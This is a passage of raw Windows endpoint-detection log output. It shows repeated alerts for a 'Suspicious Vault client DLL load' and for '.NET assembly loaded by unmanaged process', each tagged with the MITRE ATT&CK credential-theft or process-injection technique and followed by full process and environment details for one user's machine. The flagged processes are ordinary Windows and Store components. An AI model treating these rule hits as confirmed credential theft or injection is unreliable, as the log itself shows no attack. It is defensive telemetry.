token_integrity_level➜ LOW, token_is_elevated➜ false, username➜ nedo + Metadata: technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.seq.link: 11532311479118200832, rule.name: Suspicious Vault client DLL load, tactic.id: TA0006, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1232 + Ppid: 1028 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4455927 + Pid: 8452 + Tid: 6920 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 13:48:14.9931949 +0100 CET + Params: base_address➜ 7ff82b3a0000, checksum➜ 356647, default_address➜ 7ff82b3a0000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 8452, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, rule.seq.link: 11532311479118200832, rule.name: Suspicious Vault client DLL load, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access + + Pid: 8452 + Ppid: 1232 + Name: backgroundTaskHost.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe + Cwd: C:\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: LOW + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local\Packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\AC LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\AC\Temp TMP:C:\Users\nedo\AppData\Local\Packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\AC\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:12+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Services.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5923817 + Pid: 14912 + Tid: 16696 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:11.5596589 +0100 CET + Params: base_address➜ 2114bb80000, checksum➜ 0, default_address➜ 100000000000a000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Services.dll, image_size➜ 57344, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:12+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Services.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5923817 + Pid: 14912 + Tid: 16696 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:11.5596589 +0100 CET + Params: base_address➜ 2114bb80000, checksum➜ 0, default_address➜ 100000000000a000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Services.dll, image_size➜ 57344, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:12+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Models.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5924524 + Pid: 14912 + Tid: 16696 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:11.5831304 +0100 CET + Params: base_address➜ 2114bd70000, checksum➜ 0, default_address➜ 100000000000e000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Models.dll, image_size➜ 73728, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:12+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Models.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5924524 + Pid: 14912 + Tid: 16696 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:11.5831304 +0100 CET + Params: base_address➜ 2114bd70000, checksum➜ 0, default_address➜ 100000000000e000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\Shared.Models.dll, image_size➜ 73728, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program 